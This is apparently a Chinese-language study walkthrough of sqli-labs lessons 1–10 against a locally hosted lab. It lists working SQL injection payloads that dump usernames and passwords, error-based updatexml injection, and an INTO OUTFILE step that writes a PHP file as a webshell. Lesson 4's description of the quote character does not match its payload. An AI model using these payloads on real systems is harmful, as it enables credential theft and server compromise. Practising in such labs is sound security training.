less-1
目的:获取管理员密码
思路
1.查看列数
?id=1'order by 3--+ ?id=1'order by 4--+
2、查询name和password的位置
?id=-1' union select 1,2,3 --+
注:联合注入,id需要表中没有的,大部分情况下-1是表中没有的
--+注释后面的代码
3、查数据库名
?id=-1' union select 1,database(),3 --+
4、查表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
5、查列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
6、找到用户名与密码位置
?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
less-2
第一关与第二关类似,就直接给答案了
?id=-1 union select 1,2,group_concat(concat_ws(0x3a,username,password)) from security.users --+
less-3
第三关也是与前面类似,但现需要注意到是闭合是用 ' 单引号
因此也是直接上答案
?id=-1') union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
less-4
第四关也是与前面类似,但现需要注意到是闭合是用 ' 单引号
因此也是直接上答案
?id=-1") union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
less-5
本关是报错注入
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+
因为updatexml长度是32字节,所以答案不全,需要自己去改长度
less-6
本关与第五关相同,但闭合方式为 "
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+
less-7
利用outfile函数上传webshell,但这个漏洞所用条件为:
-
MySQL用户权限必须是root
-
必须知道网站的物理路径
-
secure_file_prive参数必须为空
?id=1')) union select 1,2, "<?php phpinfo();" into outfile "D:/phpstudy_pro/www/sqli-labs-php7-master/web.php";--+
先去完成条件,因为是自己搭建的所以直接改配置就行
D:\phpstudy_pro\Extensions\MySQL5.7.26在这个目录下找到my.ini
在里面把secure_file_prive参数改为空,如果没有就手动加上
植入木马
查看
http://127.0.0.1/sqli-labs-php7-master/web.php
less-8
一真一假两种形式,用布尔盲注,用python脚本二分查找法进行查找
我这里是git库没装上,由于网的原因老是下载失败,所以没有运行成功
less-9
无论id对错,界面都没有显示所以用时间盲注,为真的时候页面沉睡3秒,为假不沉睡。依旧是用python
less-10
与第九关类似,就闭合方式不同,闭合方式为 "